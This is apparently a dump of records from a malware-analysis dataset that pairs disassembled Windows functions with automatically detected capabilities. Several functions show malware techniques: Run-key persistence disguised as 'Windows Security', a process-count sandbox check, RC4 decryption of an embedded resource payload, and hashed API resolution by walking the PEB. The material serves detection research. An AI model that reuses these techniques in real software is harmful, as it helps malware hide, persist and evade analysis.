joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100084250
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rcx, qword [rsp + 0x80]
call fcn.100063930
mov edx, 0x20006
mov rcx, qword [rsp + 0x80]
call fcn.10007c600
test eax, eax
jne 0x1000842ad
mov dword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x88]
call fcn.1000144b0
mov eax, dword [rsp + 0x40]
jmp 0x1000843bc
mov dword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x90]
call fcn.100013ba0
movzx eax, al
test eax, eax
je 0x1000842f4
mov rcx, qword [rsp + 0x88]
call fcn.100013bb0
mov rdx, rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x30], eax
jmp 0x10008437d
mov dword [rsp + 0x34], 0
lea rdx, [rsp + 0x34]
mov rcx, qword [rsp + 0x90]
call fcn.10004b610
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x10008437d
mov eax, dword [rsp + 0x34]
shl rax, 1
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x88]
call fcn.100013bb0
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rcx
mov r9d, 7
xor r8d, r8d
mov rdx, rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call sub.msvcrt.dll_void___cdecl_operator_delete_void____ptr64_
mov rcx, qword [rsp + 0x80]
call fcn.100063930
cmp dword [rsp + 0x30], 0
jne 0x10008439b
mov dword [rsp + 0x68], 1
jmp 0x1000843a3
mov dword [rsp + 0x68], 0
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x50], eax
mov rcx, qword [rsp + 0x88]
call fcn.1000144b0
mov eax, dword [rsp + 0x50]
add rsp, 0x78
ret
Function at 0x1000862d0
Capabilities:
Check mutex on windows
Create directory

Disassembly:
push rdi
sub rsp, 0x80
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x3c], 0
mov dword [rsp + 0x50], 0
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
cmp dword [0x1000a98b8], 0
je 0x10008633a
mov dword [rsp + 0x48], 0
jmp 0x1000864b1
lea rcx, [rsp + 0x50]
call fcn.100080f20
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x100086358
mov eax, dword [rsp + 0x38]
jmp 0x1000864b5
lea r8, [0x100012fc0]
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x100086396
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x48], eax
lea rcx, [rsp + 0x50]
call fcn.1000812a0
mov eax, dword [rsp + 0x48]
jmp 0x1000864b5
lea rcx, [rsp + 0x50]
call fcn.1000812a0
nop
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x1000863c6
cmp dword [rsp + 0x38], 0x80
jne 0x1000863d0
mov dword [rsp + 0x3c], 1
jmp 0x1000863df
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x48], eax
jmp 0x10008647d
cmp dword [0x1000a98b8], 0
je 0x1000863f5
mov dword [rsp + 0x48], 0
jmp 0x10008647d
mov edx, 0x104
lea rcx, [0x1000a96b0]
call fcn.1000865a0
test eax, eax
je 0x100086414
mov dword [rsp + 0x48], 0x6e
jmp 0x10008647d
lea rcx, [rsp + 0x20]
call fcn.100086750
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x100086433
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x48], eax
jmp 0x10008647d
lea rdx, [rsp + 0x20]
lea rcx, [0x1000a96b0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
je 0x100086460
cmp dword [rsp + 0x48], 0xb7
jne 0x100086472
mov dword [rsp + 0x48], 0
mov dword [0x1000a98b8], 1
lea rcx, [rsp + 0x20]
call fcn.1000866f0
nop
cmp dword [rsp + 0x3c], 0
je 0x10008649d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
test eax, eax
jne 0x10008649d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x48], eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0x48]
add rsp, 0x80
pop rdi
ret
Function at 0x1000865a0
Capabilities:
Get common file path
Get program files directory

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x268
mov rax, qword [0x1000a81b8]
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x26
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x1000865f6
mov eax, 1
jmp 0x1000866d3
mov r8d, 0x104
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
jne 0x10008661a
mov eax, 1
jmp 0x1000866d3
lea r8, [0x10000748c]
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.10004ce90
test eax, eax
jge 0x10008663e
mov eax, 1
jmp 0x1000866d3
lea r8, [0x100013000]
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.10004ce90
test eax, eax
jge 0x10008665f
mov eax, 1
jmp 0x1000866d3
lea r8, [rsp + 0x30]
mov edx, 0x7fffffff
lea rcx, [rsp + 0x40]
call fcn.1000462c0
test eax, eax
jge 0x10008667e
mov eax, 1
jmp 0x1000866d3
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x270], 0
je 0x1000866a4
mov eax, dword [rsp + 0x278]
cmp rax, qword [rsp + 0x30]
jae 0x1000866aa
mov eax, dword [rsp + 0x30]
jmp 0x1000866d3
mov eax, dword [rsp + 0x278]
lea r8, [rsp + 0x40]
mov rdx, rax
mov rcx, qword [rsp + 0x270]
call fcn.10001fc80
test eax, eax
jge 0x1000866d1
mov eax, 1
jmp 0x1000866d3
xor eax, eax
mov rcx, qword [rsp + 0x250]
call fcn.100087ed0
add rsp, 0x268
ret
Function at 0x100086a20
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub rsp, 0x258
mov rax, qword [0x1000a81b8]
mov qword [rsp + 0x240], rax
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
cmp eax, 0x104
jae 0x100086c6f
test eax, eax
jne 0x100086a75
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x240]
call fcn.100087ed0
add rsp, 0x258
ret
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x100086c6f
lea rcx, [rsp + 0x30]
cmp rax, rcx
je 0x100086c6f
mov word [rax], 0
movzx ecx, word [rsp + 0x30]
mov qword [rsp + 0x270], rbp
call sub.msvcrt.dll_towupper
cmp ax, 0x41
jb 0x100086ae2
movzx ecx, word [rsp + 0x30]
call sub.msvcrt.dll_towupper
cmp ax, 0x5a
ja 0x100086ae2
movzx eax, word [rsp + 0x32]
cmp ax, 0x3a
jne 0x100086aee
cmp word [rsp + 0x34], 0x5c
je 0x100086adb
mov eax, 0x7b
jmp 0x100086bee
lea rbp, [rsp + 0x34]
jmp 0x100086af3
mov ax, word [rsp + 0x32]
mov rbp, qword [rsp + 0x20]
jmp 0x100086af3
mov rbp, qword [rsp + 0x20]
cmp word [rsp + 0x30], 0x5c
jne 0x100086b28
cmp ax, 0x5c
jne 0x100086b28
lea rcx, [rsp + 0x34]
movzx edx, ax
call sub.msvcrt.dll_wcschr
test rax, rax
je 0x100086ad1
lea rcx, [rax + 2]
mov dx, 0x5c
call sub.msvcrt.dll_wcschr
test rax, rax
mov rbp, rax
je 0x100086ad1
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100086b4c
test al, 0x10
mov ecx, 0
mov eax, 0x10b
cmovne eax, ecx
jmp 0x100086bee
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x250], rdi
call qword [sym.imp.USER32.dll_CharPrevW]
cmp rax, rbp
mov rdi, rax
jne 0x100086b73
mov eax, 0x7b
jmp 0x100086be6
cmp word [rax], 0x5c
jne 0x100086b6c
cmp rax, rbp
mov qword [rsp + 0x268], rbx
mov qword [rsp + 0x278], rsi
jbe 0x100086bd1
nop
lea rcx, [rsp + 0x30]
mov dx, 0x5c
mov word [rdi], 0
call sub.msvcrt.dll_wcsrchr
test rax, rax
mov rsi, rax
je 0x100086bd1
movzx ebx, word [rax + 2]
lea rcx, [rsp + 0x30]
mov word [rax + 2], 0
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov word [rsi + 2], bx
cmp eax, 0xffffffff
jne 0x100086c0b
cmp rsi, rbp
mov rdi, rsi
ja 0x100086b90
mov eax, 0x7b
mov rsi, qword [rsp + 0x278]
mov rbx, qword [rsp + 0x268]
mov rdi, qword [rsp + 0x250]
mov rbp, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x240]
call fcn.100087ed0
add rsp, 0x258
ret
test al, 0x10
jne 0x100086c16
mov eax, 0x10b
jmp 0x100086bd6
cmp rdi, rbp
jbe 0x100086bd1
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x100086c5d
nop
cmp word [rdi + 2], 0
je 0x100086c68
mov rcx, rdi
mov word [rdi], 0x5c
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
movsxd rcx, eax
lea rdi, [rdi + rcx*2]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x100086c30
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100086bd6
xor eax, eax
jmp 0x100086bd6
mov eax, 0x7b
mov rcx, qword [rsp + 0x240]
call fcn.100087ed0
add rsp, 0x258
ret
Function at 0x140001000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbp, r8
mov r15d, edx
mov r14, rcx
mov esi, 0x100
xor edi, edi
lea rcx, [rsp + 0x120]
mov r8d, esi
xor edx, edx
mov ebx, edi
call fcn.140003250
mov r8d, esi
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140003250
mov ecx, edi
mov edx, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, ecx
mov byte [rsp + rdx + 0x20], cl
and eax, 0x7f
lea rdx, [rdx + 1]
inc ecx
movzx eax, byte [rax + rbp]
mov byte [rsp + rdx + 0x11f], al
cmp ecx, esi
jl 0x140001070
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x120]
movzx r8d, byte [rsp + rdx + 0x20]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400010c5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x20], al
inc rdx
mov byte [rcx], r8b
sub rsi, 1
jne 0x1400010a0
mov edx, edi
test r15d, r15d
je 0x140001156
mov r10, r15
nop dword [rax]
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x140001103
dec eax
or eax, 0xffffff00
inc eax
movsxd rdi, eax
lea r8, [rsp + 0x20]
movzx r9d, byte [r8 + rdi]
add edx, r9d
and edx, 0x800000ff
jge 0x140001125
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rdi], al
mov byte [rcx], r9b
movzx ecx, byte [r8 + rdi]
add rcx, r9
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x20]
xor byte [r14], cl
inc r14
sub r10, 1
jne 0x1400010f0
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140001bf0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140001190
Capabilities:
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001221
xor edx, edx
mov qword [rsp + 0x280], rbx
mov r8d, 0x234
mov dword [rsp + 0x20], 0x238
lea rcx, [rsp + 0x24]
call fcn.140003250
lea rdx, [rsp + 0x20]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000123a
nop word [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001200
cmp ebx, 0x28
jle 0x14000123a
mov rbx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001bf0
add rsp, 0x270
pop rdi
ret
mov ecx, 1
call fcn.140003c6c
int3
Function at 0x140001250
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x158
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x100
call fcn.140003250
mov r8d, 0x100
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400012f1
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400012b4
mov rcx, qword [rsp + 0x30]
lea rdx, str.Windows_Security
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001bf0
add rsp, 0x158
ret

Function at 0x140001310
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, rdx
xor ecx, ecx
mov edx, 0x64
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000145f
mov rdx, rbx
mov qword [rsp + 0xd0], rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
je 0x140001378
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x14000137f
xor eax, eax
jmp 0x140001457
mov rcx, rax
mov qword [rsp + 0xe0], rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x14000144f
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movups xmm2, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movq rbx, xmm2
movups xmm1, xmmword [rax + 0x40]
shr rbx, 0x20
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [rax + 0x60]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0x80], xmm1
movsd xmm1, qword [rax + 0x80]
movd eax, xmm2
movaps xmmword [rsp + 0x20], xmm2
movaps xmmword [rsp + 0x90], xmm0
movsd qword [rsp + 0xa0], xmm1
test eax, eax
je 0x140001410
call fcn.140001190
test ebx, ebx
je 0x140001419
call fcn.140001250
lea eax, [rbp - 0x88]
mov ecx, eax
mov dword [rsi], eax
call fcn.140001c58
mov r8d, dword [rsi]
lea rdx, [rdi + 0x88]
mov rcx, rax
mov rbx, rax
call fcn.140002990
mov edx, dword [rsi]
lea r8, [rsp + 0x28]
mov rcx, rbx
call section..text
mov rax, rbx
mov rdi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140001bf0
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rsi
ret
Function at 0x140003c6c
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140003a40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003a40
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003a40
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a40
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003a40
cmp dword [rcx + 0x84], 0xe
jbe 0x140003a40
cmp dword [rcx + 0xf8], esi
je 0x140003a40
mov ecx, r14d
call fcn.140003b88
mov ecx, 2
call fcn.1400053f8
nop
cmp byte [0x140017180], 0
jne 0x140003b0a
mov r15d, 1
mov eax, r15d
xchg dword [0x140017170], eax
test ebx, ebx
jne 0x140003ab3
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140017178]
cmp rcx, rax
je 0x140003aaa
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140002490]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x1400173f0]
jmp 0x140003abf
cmp ebx, r15d
jne 0x140003ac5
lea rcx, [0x140017408]
call fcn.140004f98
nop
test ebx, ebx
jne 0x140003adc
lea rdx, [0x14000c338]
lea rcx, [0x14000c318]
call fcn.1400049d0
lea rdx, [0x14000c348]
lea rcx, [0x14000c340]
call fcn.1400049d0
movzx eax, byte [0x140017180]
test esi, esi
cmove eax, r15d
mov byte [0x140017180], al
jmp 0x140003b0a
mov ecx, 2
call fcn.14000544c
test esi, esi
jne 0x140003b21
mov ecx, r14d
call fcn.140003b3c
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400039d0
Function at 0x1400049c4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140004a48
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140006370]
cmp byte [rcx + rax], 0
je 0x140004a48
dec r8
sub rdx, 1
jne 0x140004a2e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140004d10
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.140004a60
mov ebx, eax
test eax, eax
jne 0x140004d40
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x140004da3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140004d9a
test al, 0x10
je 0x140004d9a
bt eax, 0xa
jae 0x140004d93
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.140004db4
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x140004d8f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140004d8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
test edi, edi
jne 0x140004d9a
and dword [rsp + 0x3c], 0
jmp 0x140004d9f
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140005830
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000587a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000587a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000587a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000587a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000587a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000587c
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rbp, rdx
mov r15, rcx
mov r8, qword [rax + 0x18]
mov rax, qword [r8 + 0x10]
mov rsi, qword [rax]
mov r11, rsi
mov r9, qword [r11 + 0x30]
xor r14d, r14d
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400010a8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400010a8
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r8d
mov edx, 0x46bd8a8a
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400010a3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140001080
cmp edx, 0x3012f70c
je 0x14000116b
test r8d, r8d
jne 0x140001060
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1400010bd
cmp qword [rax + 0x30], r14
jne 0x140001035
mov rax, r14
mov rcx, rbp
call rax
mov rcx, qword gs:[0x60]
mov rbp, rax
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rbx, rsi
nop
mov r9, qword [rbx + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140001154
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140001154
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x1d816509
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14000114f
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140001130
cmp edx, 0x8abd8251
je 0x140001187
test r8d, r8d
jne 0x140001110
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x1400011a1
cmp qword [rax + 0x30], r14
jne 0x1400010e0
jmp 0x1400011a1
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400010c0
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov r14d, dword [rcx + rdx*4]
add r14, r9
mov rdx, r15
mov rcx, rbp
mov rax, r14
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
jmp rax
Function at 0x14000342c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003476
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003476
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003476
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003476
cmp dword [rcx + 0x84], 0xe
jbe 0x140003476
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003478
xor al, al
add rsp, 0x28
ret
Function at 0x1401e038c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1401e01b8